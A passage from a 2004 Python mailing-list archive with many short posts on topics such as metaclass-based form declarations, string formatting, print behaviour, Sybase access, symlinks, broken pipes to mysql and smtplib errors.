parityByte = chr(reduce(operator.__xor__,map(ord,s))) oy, I've never dug into the whole reduce thing. I ended up looping through a series of '^' operations, which seems to work OK. Now how about a checksum calc? "The additive checksum (modulo-65536) of all bytes from the [STX] byte to the last data byte, inclusive. (not including checksum)" Just use a modulus '%'? From carribeiro at gmail.com Thu Sep 23 12:36:19 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 13:36:19 -0300 Subject: Call for suggestions: Declaring data entry forms using Python classes Message-ID: <864d370904092309367faaae04@mail.gmail.com> Hello all, I'm posting this to the list with the intention to form a group of people interested in this type of solution. I'm not going to spam the list with it, unless for occasional and relevant announcements. If you're interested, drop me a note. But if for some reason you think that this discussion is fine here at the c.l.py, please let me know. ** LONG POST AHEAD ** I'm doing good progress on my form declarative language library. The idea (for those who haven't read about it) is to be able to specify a form declaration in the following format: class ComplexForm(Form): class Header(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") class Comment(Form): comments = TextBox(length=200, default="", multiline=True) This is an experimental approach, with the intention to allow one to write the form description in pure Python code, with the least syntactic clutter possible. The main alternative is to use a data driven approach -- feeding dicts or XML based representation to a constructor -- but as I said, that's not the goal of this experiment. I'm already able to properly build the example mentioned above. The result is a conventional class filled with all attributes, and an extra <_fields> member which is a ordered list of field object instances. The metaclass constructor checks for some issues: 1) For the purposes of GUI description, field attributes are order-dependant. But the dict passed to the metaclass constructor isn't ordered. My first solution used stack information (using the inspect module) to solve this problem. Thomas Heller and Andrew Dalke proposed a simpler solution using a global counter that I've included in the current incarnation (I'm wondering why did I try that hack before, this solution is *much* better). 2) The inner classes (Header and Comment, in the example above) are converted to *instances* of the same name during the construction of the outer class (ComplexForm, in the example). The goal was to achieve consistency; if some field members are classes and other instances, then you have to check types while iterating the _fields structure to render the GUI -- that's not what I had in mind. Building GUIs I'm just starting to work on this part. A renderer object will take the form as a parameter, and will build the GUI accordingly with the structure contained there. To build the GUI, the renderer has to iterate over its fields. It's a recursive process, because a form can contain other forms, either declared directly as classes as in the example above, or through normal attributes. I''m working on a generic iterator interface for the form, which would allow to proceed without recursion on the renderer side, but I'm not sure if this is the best approach. I'm still thinkering with this part of the code. Suggestions are welcome. #======================= Enough talk, that's the code. Use it as you want, but please, give it proper attribution if you're going to use it elsewhere. #======================= from inspect import isclass # auxiliar functions def getmyposition(): """ Returns the position of the caller, relative to the sequence of statements that were executed during class creation. Three possible methods were evaluated: using a global counter; using a timestamp; or using the line number retrieved from the call stack. For all purposes here, a simple counter is enough. It doesn't need to be thread aware, because all that matters is the relative ordering of statements that, by definition, will be executed within the same thread during the class initialization. """ counter = 0 while True: counter += 1 yield counter # decorates getmyposition to hide the internal static var getmyposition = getmyposition().next def getfields(dct): """ takes a dictionary of class attributes and returns a decorated list containing all valid field instances and their relative position. """ for fname, fobj in dct.items(): if isinstance(fobj,Component): print "found box: ", fname, fobj._mypos yield (fobj._mypos, (fname, fobj)) elif isclass(fobj) and issubclass(fobj,Component): print "found container: ", fname, fobj._mypos # substitutes the contained class for its instance yield (fobj._mypos, (fname, fobj())) else: print "unknown: ", fname, fobj, type(fobj) # returns the original object with tag order = 0 yield (0, (fname, fobj)) def makefieldsdict(dct): # build the field list and sort it fields = list(getfields(dct)) fields.sort() # undecorate the list and return it converted to dict; the _field # attribute is added automatically to refer to the sorted list sorted_field_list = [field[1] for field in fields] field_dict = dict(sorted_field_list) field_dict['_fields'] = [field for field in sorted_field_list if isinstance(field[1],Component)] return field_dict # metaclasses class Container(type): def __new__(cls, name, bases, dct): # creates the class using only the processed field list newclass = type.__new__(cls, name, bases, makefieldsdict(dct)) newclass._mypos = getmyposition() return newclass # Component is the ancestor of all elements in a # form, including containers and boxes class Component(object): pass # BoxElement is the ancestor of all elements that are # instantiated as objects inside the container classes class Box(Component): def __init__(self): self._mypos = getmyposition() # a form is a container of other components class Form(Component): __metaclass__ = Container # I'm trying several versions of the iterator interface, I really don't # know which one is going to be useful in real cases -- I'll have to write # more code an try some alternatives first def iterfields1(self): # this iterator returns field objects without recursion for fname, fobj in self._fields: yield (fname, fobj) def iterfields2(self, _level=0): # this iterator recursively returns tuples of # (parent, level, iscontainer, name, component) for fname, fobj in self._fields: if hasattr(fobj, '_fields'): yield (self, _level, True, fname, fobj) for parent, level, iscont, name, field in fobj.iterfields2(_level=_level+1): yield (parent, level, iscont, name, field) else: yield (self, _level, False, fname, fobj) def iterfields3(self): # this iterator returns a nested list representation that is # built recursively for fname, fobj in self._fields: if hasattr(fobj,'_fields'): yield (self, fname, list(fobj.iterfields3())) else: yield (self, fname, fobj) # data entry controls class TextBox(Box): def __init__(self, length=40, default="", password=False, multiline=False): Box.__init__(self) self._length = length self._default = default self._password = password self._multiline = multiline # forms class UserForm(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") class ComplexForm(Form): class Header(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") class Comment(Form): comments = TextBox(length=200, default="", multiline=True) summary = TextBox(length=200, default="", multiline=True) # simple test for the iterators x = ComplexForm() print print "ComplexForm.iterfields1" print "\n".join([str(item) for item in x.iterfields1()]) print print "ComplexForm.iterfields2" print "\n".join([str(item) for item in x.iterfields2()]) print print "ComplexForm.iterfields3" print "\n".join([str(item) for item in x.iterfields3()]) print -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From ptmcg at austin.rr._bogus_.com Thu Sep 2 09:02:09 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 02 Sep 2004 13:02:09 GMT Subject: Basic tokenizer References: Message-ID: "Andrea Griffini" wrote in message news:dr1ej05htuepi5hr766g0nf6ho1jpe31te at 4ax.com... > On Thu, 2 Sep 2004 08:24:19 +0200, "Miki Tebeka" > wrote: > > >There are several parsing/lexing packages for Python. My favorite is PLY > >(http://systems.cs.uchicago.edu/ply/). > > I gave it a very quick look and I've to say that I was > impressed... but it wasn't a good impression. > I'd be interested in your feedback on this pyparsing example: http://www.geocities.com/ptmcg/python/fourFn.py.txt (The "fourFn.py" title is a legacy - this now does 5-function arithmetic plus trig functions.) -- Paul From steve at holdenweb.com Thu Sep 30 23:11:01 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 30 Sep 2004 23:11:01 -0400 Subject: File handling: The easy and the hard way In-Reply-To: <415CC700.6070008@bellsouth.net> References: <415CC700.6070008@bellsouth.net> Message-ID: <415CCAC5.1020705@holdenweb.com> Jeremy Jones wrote: > Hopefully, I'm not belaboring this. [...belabors issue at great length :-) ...] > > I hope that I haven't come across as antagonistic as I fear I may have. > I greatly respect you, Steve. You're a great writer and a valuable > contributor to this group. I don't think we're too far off from what > the other is saying. I don't even think I'm too far off from the spirit > of what the OP was trying to say. I just had a problem with what I > perceived the OP to be saying (WRT generalization of a solution) and > didn't care for how it came across. I feel better after getting that > out. Hope we can still be friends :-) > Well I certainly don't normally take offense when someone promotes a defensible point of view in a reasonable manner, and I don't feel inclined to make an exception (no pun intended) in your case. I don't think our points of view are that far apart either, since we both appear (like the majority of the Python community) to prefer pragmatism to blindly following rigid rules. > Mr. Holden, I remain sincerely and respectfully yours, > > Jeremy Jones > I think that probably the OP wasn't criticizing Python in the way you believed, but in the final analysis Python is a programming language, and it can't take offense. So I try not to take offense on its behalf. And thank you for your complements. I'm glad you feel better! regards Steve -- XXX Please note recent change of email address From quaggy at gmail.com Wed Sep 15 21:19:16 2004 From: quaggy at gmail.com (Jonathan Wright) Date: 15 Sep 2004 18:19:16 -0700 Subject: Is this a bug in the windows tempfile.py? In-Reply-To: <4147d101$0$173$9b622d9e@news.freenet.de> Message-ID: Is there (and if not, should there be) any way to determine if an object is file-like? Or is this getting into protocol-oriented programming. :-) Jonathan. From m.a.r.k at gmx.de Sun Sep 19 13:18:14 2004 From: m.a.r.k at gmx.de (Markus) Date: Sun, 19 Sep 2004 19:18:14 +0200 Subject: Need to create a soft link to a file In-Reply-To: References: Message-ID: Solved ;-) I've found the symlink() function which works for me. Thanks, Mark Markus wrote: > > Hello, > > I'm running on Mac OS X and need to create a soft link to a file. > > I tried both makealias() and link(). While makealias creates a Finder > alias just fine my application that needs to read the reference file > doesn't like this. link() produces 1) a hard link and b) gives me the > following error: OSError: [Errno 45] Operation not supported > > I guess what I'm looking for is a way to call the Unix ln command from > within my python program. > > How would I do this? > > Thanks, > Mark From belred1 at yahoo.com Fri Sep 24 21:27:03 2004 From: belred1 at yahoo.com (Bryan) Date: Sat, 25 Sep 2004 01:27:03 GMT Subject: theme of the week: tools In-Reply-To: References: <41542230.3070808@bellsouth.net> Message-ID: <4154C965.7020900@yahoo.com> Carlos Ribeiro wrote: > I was one of the frequent posters on the many tools/ides/gui threads > that appeared here over the past weeks. I'm now partly satisfied. My > search for a good IDE that is usable in my lowend machine is still not > completed. But I found a good setup using a free editor and PythonWin > working together. > > I'm using Crimson Editor, a small freeware editor. The most > interesting part is that it isn't the most featured of all editors > I've tried; it isn't as powerful as vi or emacs, but has one feature > that I wanted the most, that is a fairly simple project management > tool. It simply allows me to organize a list of files that I'm using > for a project on the left pane. I can click on a file to open it. It's > amazingly useful when you're dealing with "hot" files stored on > several different directories, and you don't have to remember where is > it located, or to manually walk the open file dialog looking for it. > > I'm using PythonWin for testing, mostly because the Windows console is > so braindead, and because PythonWin help is quick well organized (it's > about the same that you find in the web, but a little bit more > convenient). > > I'm also evaluating Wing IDE 2.0; I had a few issues with it that were > solved, but for some tasks I found it too heavy for my limited > resources. Anyway, I'm keeping an eye on it. > > -- > http://mail.python.org/mailman/listinfo/python-list > > i do a lot of python (and jython) programming and i use crimson editor and pythonwin also. in fact, i use crimson editor for everything. i've even associated just about every file type in windows to crimson editor :) bryan From __peter__ at web.de Wed Sep 22 05:15:36 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 22 Sep 2004 11:15:36 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> <20040921182934.GA9959@unununium.org> <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com> Message-ID: Steven Bethard wrote: > 'Course rather than wrap your expression tuples in a class to define the > __cmp__ function, it seems like a more reasonable solution might be to > make the arbitrary cmp decision in the mapping class (the one implemented > as a BTree). Yes, and that would give you a lot more flexibility, as sorting by an attribute is almost as common as a "natural" sort (Not counting lists consisting entirely of items of the same type). > If __cmp__ starts raising TypeErrors, your code could do > something like: > > def insert(self, val): > try: > c = cmp(self.val, val) > except TypeError: > c = -1 # self.val and val were not of the same type > # make some arbitrary decision here > ... # insert according to cmp result I'd rather pass the comparison function to __init__(self, cmp=cmp) and then do def insert(self, value): cmp = self.cmp # use cmp to insert value in the appropriate place You could even provide a classical_compare that compares values like today's default. I don't think you can seriously call self.cmp() instead of cmp() more work. If you are concerned about the extra slot for the cmp attribute of your custom BTree, put the default into the class. Peter From tim.golden at viacom-outdoor.co.uk Fri Sep 3 11:43:42 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Fri, 3 Sep 2004 16:43:42 +0100 Subject: print with no newline Message-ID: | Tim Golden wrote: | > [Jp Calderone] | > | Basically, print is only meant to help people new to the | > | language get started ;) | > | It often does what will make life easiest for someone who is | > | just getting into things, but which is otherwise | confusing, expected, | > | special-casey, or otherwise undesirable. I mean, the whole | > | existence of the keyword "print" is an inconsistency, right? | > | One could quite reasonably expect print to be a function. | > | > This point of view comes up from time to time on the list | > and for the life of me I can't buy into it. Putting aside | > the obviously tongue-in-cheek implication that only beginners | > would use print, I have almost never found print to be | > "confusing... or otherwise undesirable". It does exactly | > what I expect it to do with the minimum of syntactic clutter. | | Have you ever run into or relied on the behavior that started this | thread? I can't imagine how you might deduce that behavior from the | rest of print's behavior. All right, I'll admit... I jumped into this mid-thread, something that always pains me when other people do it. | Let me also clarify - I use print all the time. It's quite | convenient and rarely does something other than what I intend. That | said, almost all my uses of it are for debugging or in the | interactive | interpreter when investigating some object or behavior. I can't | remember the last time I left it in a real program. Maybe there's the difference. I use it all the time (well, reasonably often) in real programs and will no ill-effects so far, so maybe I'm more (read: too) sensitive when it's disparaged. | | > [snip] | > | > I would *not* reasonably expect print to be a function. Why | > should it be? Certainly any move to remove the print statement | > from the language or to replace it by a print function would | > get my thumbs-down (or whichever way round the Romans did it). | > | | Lots of other people expect it to be a function. I can't | count the | number of times I've read this in someone's code: | | print(x) Might be a question of background: I wouldn't dream of writing print (x). (Background: BASIC, Modula-2, C, C++, SQL, Python and sundry others I don't mention). I was really taking issue with the "reasonably expect" bit, which seemed a bit too universal. No intention to bite anyone's head off. | | That said, I don't propose changing it. Good. That's a relief. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From skip at pobox.com Thu Sep 23 16:45:24 2004 From: skip at pobox.com (Skip Montanaro) Date: Thu, 23 Sep 2004 15:45:24 -0500 Subject: Python and Sybase In-Reply-To: References: Message-ID: <16723.13796.637472.399332@montanaro.dyndns.org> David> What module is most recommended for accessing Sybase from Python? David> This one: http://www.object-craft.com.au/projects/sybase/sybase/ David> ? If I'm not mistaken, I think that's the only one, barring some sort of ODBC stuff. David> Also, is there any module that provides a generic DB API and can David> be hooked to both Sybase and postgresql? This David> (http://www.python.org/peps/pep-0249.html) looks pretty old. There hasn't been that much change to how relational databases are accessed in the time since that PEP was finalized. Do you think something's missing or was done wrong? If so, I think the db-sig at python.org list is still alive and well. Skip From adalke at mindspring.com Sun Sep 5 01:43:33 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 05 Sep 2004 05:43:33 GMT Subject: docs on for-loop with no __iter__? In-Reply-To: References: Message-ID: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> Steven Bethard wrote: > I'm trying to imagine a situation where it makes sense to want the x[i] > behavior from __getitem__ but where you don't know the final index. x[i] > suggests random access, so if you don't really have random access, shouldn't > you be defining __iter__ instead? The example I gave was for Python 1.x, which didn't support __iter__. What I showed was how to support basic forward iteration (for use in a for loop) in the old-days. I used the assert check precisely so that the suggestion of random access breaks when someone tries to use it that way. > Are there some good examples of classes > that allow the x[i] indexing but don't support random access (e.g. you can do > only do x[2] after you do x[1])? > > (Obviously your FileReader class was an example of this, but I've assumed this > was just an example of how things *could* have been written, not how they > actually were. Please correct me if I'm wrong!) You say "x[i] indexing" but I don't think that's the right way to frame the question. What I wanted was forward iteration in Python 1.x. It happened that forward iteration was implemented only on top of indexing, so I had to hijack the indexing mechanism to get what I wanted. But I never thought of it as "x[i] indexing" only "the hack needed to get forward iteration working correctly." I wrote several classes using that technique. One was a way to read records from a file, another to get records from from a database. They worked, in that I could do things like for record in FastaReader(open(filename)): print record.description The new-style __iter__ is in all ways better. Andrew dalke at dalkescientific.com From helten0007 at yahoo.com Wed Sep 29 10:47:01 2004 From: helten0007 at yahoo.com (Peter.....) Date: Wed, 29 Sep 2004 16:47:01 +0200 Subject: Program that can find a find a file for you ? References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> Message-ID: <415acac9$0$22718$ba624c82@nntp04.dk.telia.net> Thanks for your input. I solved the last few lines and corrected the errors that was in it. And it does work. Stay happy..... "Steve" wrote in message news:mailman.4077.1096467878.5135.python-list at python.org... > Hi Peter, > > On Wed, 29 Sep 2004 11:25:39 +0200, Peter Hansen > wrote: >> Im trying to write a program that can be run from the command line. >> If I want to search for example after a file with the ending .pdf, I >> should >> be able to write in the command line: >> python name of my program / the libary to search and what kind of file >> it >> is example a .pdf file > > I had to do something like this sometime back so I wrote up a general > purpose script that would look for certain types of files and call a > python function, passing the filename as argument to the function. > This function could be any thing that you would care to define (My > script incidentally just rename file with *ill formed* names). This is > roughly the equivalent doing this using the 'find' unix command: > > $ find -name "*.ext" -exec (some python function) {} ';' > > You can find the function at the ASPN cookbook site: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300411 > > Hope you find it useful. > > Regards > Steve From bokr at oz.net Fri Sep 10 01:46:23 2004 From: bokr at oz.net (Bengt Richter) Date: 10 Sep 2004 05:46:23 GMT Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <20040910000643.18b43e0f@gypsy.pfortin.com> Message-ID: On Fri, 10 Sep 2004 00:06:43 -0400, Pierre Fortin wrote: >On 10 Sep 2004 00:42:19 GMT Bengt wrote: > >> >I was hoping to use the likes of: "%(key)*.*f" % map >> >however, unlike with the non-(key) formats, there appears to be no way >> >to specify a "*.*" size when a map is used... >> > >> Well, you could subclass str and override its __mod__ method ;-) >> If you had class format(str): ..., you could then write >> format('%(key)*.*f") % map >> and have it do whatever you like. > >This must be one of those days when my density goes up.... :^/ > >Can you fill in the blanks on this...? Mismatched quotes aside, I just Oops on the quotes ;-/ >don't seem to grok how map's key gets in there since there is a ")" >between the format string and "%" -- then, I still don't see how "*.*" >gets set as it would in: "%*.*f" % (width,max,float) > >I'll try to finally get a handle on subclassing/overriding with this.... >:> I was making a quick comment that if you really wanted to you could intercept all the arguments and interpret them as you wish. The line I wrote would demand some conventions about what was in the map, or indeed it could be a custom mapping object. To see the arguments, we can do (starting with your original post example mapping): >>> mapping = {'one':1,'two':2} >>> "%(two)d" % mapping '2' >>> "%(two)6d" % mapping ' 2' And you showed that: >>> "%(two)*d" % (mapping,6) Traceback (most recent call last): File "", line 1, in ? TypeError: format requires a mapping Let's see: >>> class format(str): ... def __mod__(self, *a, **kw): print repr(self), a, kw ... >>> format("%(two)*d") % mapping '%(two)*d' ({'two': 2, 'one': 1},) {} But we need an argument for the '*': >>> format("%(two)*d") % (mapping,6) '%(two)*d' (({'two': 2, 'one': 1}, 6),) {} Ok, we see that we have the custom string back as self, and a is the args tuple for the rhs of the % operator, and there are no keyword args. But we need a way to pick up the '*' values. I think the most straightforward way would be to have a mapping argument be the first, for %(name)...x lookups, and optional additional arguments like an ordinary tuple, like >>> format('%(key)*.*f') % ({'key':2.3}, 7, 3) '%(key)*.*f' (({'key': 2.2999999999999998}, 7, 3),) {} The intent being like >>> '%7.3f'%2.3 ' 2.300' You could go hog wild and allow multiple mapped values in a single format, as in this contrived combination: >>> format('%(key)*.("three")f') % ({'key':2.3, 'three':3}, 7) '%(key)*.("three")f' (({'three': 3, 'key': 2.2999999999999998}, 7),) {} BTW, note that a mapping only has to support __getitem__, so you can make a custom mapping to synthesize interesting named things or find them in interesting places, and even have special methods that could be called from format.__mod__ for whatever you think up. Just so your end product is somewhat explainable. This contrivance illustrates custom mapping as a one-liner class instance returning the map key uppercased instead of looking something up. >>> '%(hi)s %(ho)8s' % type('',(),{'__getitem__':lambda s,x: x.upper()})() 'HI HO' It's more readable if you define a class as usual ;-) >>> class U(object): ... def __getitem__(self, key): return key.upper() ... >>> umap = U() >>> '%(hi)s %(ho)8s' % umap 'HI HO' Custom stuff tends to be slower than builtins written in C, of course. I'll leave the rest as an exercise from here ;-) Regards, Bengt Richter From sholden at holdenweb.com Thu Sep 16 08:53:39 2004 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 16 Sep 2004 08:53:39 -0400 Subject: IOERROR Broken Pipe In-Reply-To: <2e569af.0409160445.70600989@posting.google.com> References: <2e569af.0409160445.70600989@posting.google.com> Message-ID: Ruben wrote: > I am reading a large text file a chunk at a time using the > readlines(buffer_size) statement. I get an IOERROR ERRNO 32 Broken > Pipe command when I "pipe" the output to MYSQL database using the > following command: > > python script.py | mysql > > I am using RED HAT 9 Linux. The problem only happens if I use the pipe > to MYSQL. It breaks but it gets to process around 1000 MYSQL > statements. > > If I only use the following statement: > > python script.py > > The programs runs ok and reads all text records without problems. I > do need to sent the pipe to MYSQL so that I can populate a database. > > I tried using the following statement but it still breaks: > > import signal > > signal.signal(signal.SIGPIPE, signal.SIG_DFL) > Broken pipe errors normally occur when the consumer (in this case the mysql client program) stops reading before the producer (your program) stops writing. I would therefore suspect that there may be a syntax error or similar in the SQL your program generates. Test this by running python script.py > tmpfile mysql < tmpfile regards Steve From wilkSPAM at OUTflibuste.net Sun Sep 19 04:40:59 2004 From: wilkSPAM at OUTflibuste.net (Wilk) Date: Sun, 19 Sep 2004 10:40:59 +0200 Subject: PyYaml? References: <2IO2d.1086$HH5.1025@trndny05> Message-ID: <87r7oyfy78.fsf@blakie.riol> "Chris S." writes: > Is there any benefit to Pickle over YAML? Given that Pickle is > insecure, wouldn't it make more sense to support a secure > serialization format, one that's even readable to boot, such as YAML? > There's even a pure Python implementation at www.pyyaml.org There is others advantages using yaml instead of pickle anyway (portability, readability...) Syck is even faster than pickle i think. http://whytheluckystiff.net/syck/ But all theses projects seems to sleep... -- Wilk - http://flibuste.net From nobody at nowhere.com Mon Sep 20 09:46:03 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Mon, 20 Sep 2004 09:46:03 -0400 Subject: Inheritance question Message-ID: Hello, Say I have a base class called "A" class A: _value __init__(self, value): self._value = value and two derived classes "B1" and "B2": class B1(A): def doPrint(self): print "B1: " + str(self._value) class B2(A): def doPrint(self): print "B2: " + str(self._value) is there a way that I could change my class A to something like: class A: _value __init__(self, value): self._value = value if value > 10: set myself as an instance of B1 # How can I do that? else: set myself as an instance of B2 in the real situation "value" is encoded and the way to know what kind of A it is, is more complex than just look at the value. Thanks for your help and time. Yannick From steven.bethard at gmail.com Tue Sep 21 13:42:35 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 21 Sep 2004 17:42:35 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: Phil Frost bitglue.com> writes: > On Tue, Sep 21, 2004 at 05:24:48PM +0000, I wrote: > > Could you give an example of a list that you'd like to do this to? I'm > > still having trouble imagining a list of disparate types that I call sort > > on... > What about binary trees? Currently it's possible to implement a binary > tree that is as general as a dict, but restricting comparisons to like > types would make that impossible. Is there a good use case for binary trees with incompatible types at the nodes? I'm not sure I follow your comparison here anyway, since you can't sort a dict... Could you clarify? Thanks, STeve From roy at panix.com Fri Sep 3 12:41:31 2004 From: roy at panix.com (Roy Smith) Date: Fri, 03 Sep 2004 12:41:31 -0400 Subject: Combining mode and encoding in emacs References: Message-ID: In article , mlh at furu.idi.ntnu.no (Magnus Lie Hetland) wrote: > If I want to specify both mode and source encoding using the > > -*- FOO -*- > > syntax in emacs -- how can I do that? Both insist on being on the > second line of the file, yet I have found no way of combining them. > That is, the following doesn't work properly (not in all emaxen, at > least): > > #!/usr/bin/env python > # -*- encoding: iso-8859-1 -*- > # -*- python -*- > > If I switch the two, Python doesn't get the encoding. (I need to > specify the mode, because the file has a '.cgi' ending.) > > Any tips? You can set the mode (and a lot of other things) with a local variable list on the last page (i.e. after the last form-feed). Put something like this at the end of your file: # # ^L # # Local Variables: # mode:python # End: Look up info on "file variables" for more details. The -*- stuff is just a convenient shorthand for a subset of what you can do with the more verbose Local Variables syntax. From john at grulic.org.ar Thu Sep 16 23:33:43 2004 From: john at grulic.org.ar (John Lenton) Date: Fri, 17 Sep 2004 00:33:43 -0300 Subject: what's the deal of "_" in Python? In-Reply-To: <7cffadfa040916151530c85234@mail.gmail.com> References: <7cffadfa040916151530c85234@mail.gmail.com> Message-ID: <20040917033343.GA8843@grulic.org.ar> On Thu, Sep 16, 2004 at 06:15:11PM -0400, Yun Mao wrote: > Can someone give me some pointers to the related docs? Thanks. in the interactive interpreter, _ is the value of the last expression. In some code I've seen it used as a dummy variable inside 'tight' loops (map(lambda_: _.bar(), foo)), but that use is diminishing (due mostly to list comprehensions, I guess). In internationalized code it is usually used as from gettext import gettext as _ or something similar. This last use is arguably ugly, but it is a time-honored convention dating back to the cambric days, when people programmed end-user programs in C. -- John Lenton (john at grulic.org.ar) -- Random fortune: For large values of one, one equals two, for small values of two. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From miki.tebeka at zoran.com Tue Sep 14 02:18:33 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Tue, 14 Sep 2004 06:18:33 +0000 (UTC) Subject: Using Python instead of DOS shell scripts References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: Hello Jeff, > I have a project of converting numerous DOS cmd shell scripts to Python. Is there a tutorial to > getting started? Just read the tutorial at http://docs.python.org/tut/tut.html Shana Tova. -- ------------------------------------------------------------------------ Miki Tebeka http://tebeka.spymac.net The only difference between children and adults is the price of the toys From tim.peters at gmail.com Wed Sep 29 22:48:25 2004 From: tim.peters at gmail.com (Tim Peters) Date: Wed, 29 Sep 2004 22:48:25 -0400 Subject: constructing binary \n In-Reply-To: References: Message-ID: <1f7befae04092919484211a3bb@mail.gmail.com> [Steven Arnold] > Is there a more elegant way to construct \[a-z] What does that notation mean? One concrete "before" and "after" example would have done you more good here than everything else. > in a string than something like: > > s = '\\n' > result = eval( "'%s'" ) % s Sorry, that didn't help me understand what you're after. To the contrary, it hurt. The last line there could have been replaced by: result = s and done exactly the same thing: >>> s = '\\n' >>> result = eval( "'%s'" ) % s >>> s == result True `s` and `result` are both the two-character string consisting of a backslash followed by the letter `n`. Is that what you want? That was also my best guess as to what the notation \[a-z] meant at the start ("umm ... Steven wants a backslash, followed by a lowercase letter?"). > Another ugly method would be to build a dict with all the different > special letters I want as keys, and their corresponding values as > values. Or I could have a huge if/elif structure. I can't make ord > work, because while ord( '\n' ) gives me a reasonable integer that I > can interpolate with %c, I don't have '\n', I have '\\n'. Sorry, still not following. >>> ord('\n') 10 >>> chr(10) '\n' >>> '%c' % 10 '\n' >>> len(chr(10)) 1 >>> len('%c' % 10) 1 I don't know why you say "I have '\\n'" after, presumably, doing '%c' % ord('\n') either, since there's no sense I can see in which you would in fact have '\\n' after doing that. As the session above shows, you actually have the one-character string consisting of a newline after doing that. But it's not clear whether that's what you want either. > Is there a simple, graceful way to do this sort of translation? Yes -- but until you can explain *which* transformation you're trying to make, it's hard to tell you how to do it gracefully . From gerrit at nl.linux.org Wed Sep 22 15:57:41 2004 From: gerrit at nl.linux.org (Gerrit) Date: Wed, 22 Sep 2004 21:57:41 +0200 Subject: Python speed-up In-Reply-To: <16721.55116.159985.802001@montanaro.dyndns.org> References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> <20040922193925.GA4669@nl.linux.org> <16721.55116.159985.802001@montanaro.dyndns.org> Message-ID: <20040922195741.GA5292@nl.linux.org> Skip Montanaro wrote: > gerrit> Why isn't cStringIO faster than concatenating strings? > > gerrit> Using python2.4: > ... > > Because in 2.4 common case string concatenation gets a big speed boost: > > % python2.3 ~/local/bin/timeit.py -s 's=""' "s+='foo'" > 10000 loops, best of 3: 68.3 usec per loop > % python2.4 ~/local/bin/timeit.py -s 's=""' "s+='foo'" > 1000000 loops, best of 3: 0.855 usec per loop Ah. Am I correct to conclude that StringIO should either be rewritten concatenating strings, or be deprecated, or both? Gerrit. -- Weather in Twenthe, Netherlands 22/09 21:25: 12.0?C wind 4.5 m/s WSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From ajsiegel at optonline.com Sun Sep 26 13:27:37 2004 From: ajsiegel at optonline.com (Arthur) Date: Sun, 26 Sep 2004 17:27:37 GMT Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><10l90qcihqrjba1@corp.supernews.com> Message-ID: On Sat, 25 Sep 2004 19:23:08 -0400, "Terry Reedy" wrote: > >"Ville Vainio" wrote in message >> But aren't they probabilities just because we haven't understood them? > >That is the question. To me, the underlying question is whether the >existence of this universe (in particular, the big bang) was >'deterministic' or 'arbitrary' in some megauniverse. > >> A thing like "probability" just can't exist in the ultimate Reality. > >That is your religious belief -- and perhaps Enstein's. But I am not sure >that God has any choice but to play dice. > One does not need to be a QM fundamentist to speculate that God does something other than catch and throw away the corner cases that necessarily challenge a deterministic Universe. Art From narshe at gmail.com Fri Sep 17 16:00:57 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 17 Sep 2004 15:00:57 -0500 Subject: smtplib (111, 'Connection refused') In-Reply-To: <414b4074$0$24870$9b622d9e@news.freenet.de> References: <414b4074$0$24870$9b622d9e@news.freenet.de> Message-ID: <4a0cafe204091713004c0cd8d2@mail.gmail.com> Does smtplib even use a smtp server? I looked at the source and it looks like it just connects via a socket and sends like that. -Josh On Fri, 17 Sep 2004 21:52:23 +0200, Martin v. L?wis wrote: > Josh Close wrote: > > I'm using the smtplib module and I keep getting this error: (111, > > 'Connection refused') What could be causing this? > > This means there is no SMTP server running on the remote system. > However, there *is* a TCP implementation (typically the operating > system) on the other end that tells you port 25 is not being > listened to. > > Regards, > Martin > > > -- > http://mail.python.org/mailman/listinfo/python-list > From this at is.invalid Fri Sep 10 04:51:59 2004 From: this at is.invalid (Mercuro) Date: Fri, 10 Sep 2004 08:51:59 GMT Subject: Shorter checksum than MD5 In-Reply-To: <7xllfjfe9m.fsf@ruckus.brouhaha.com> References: 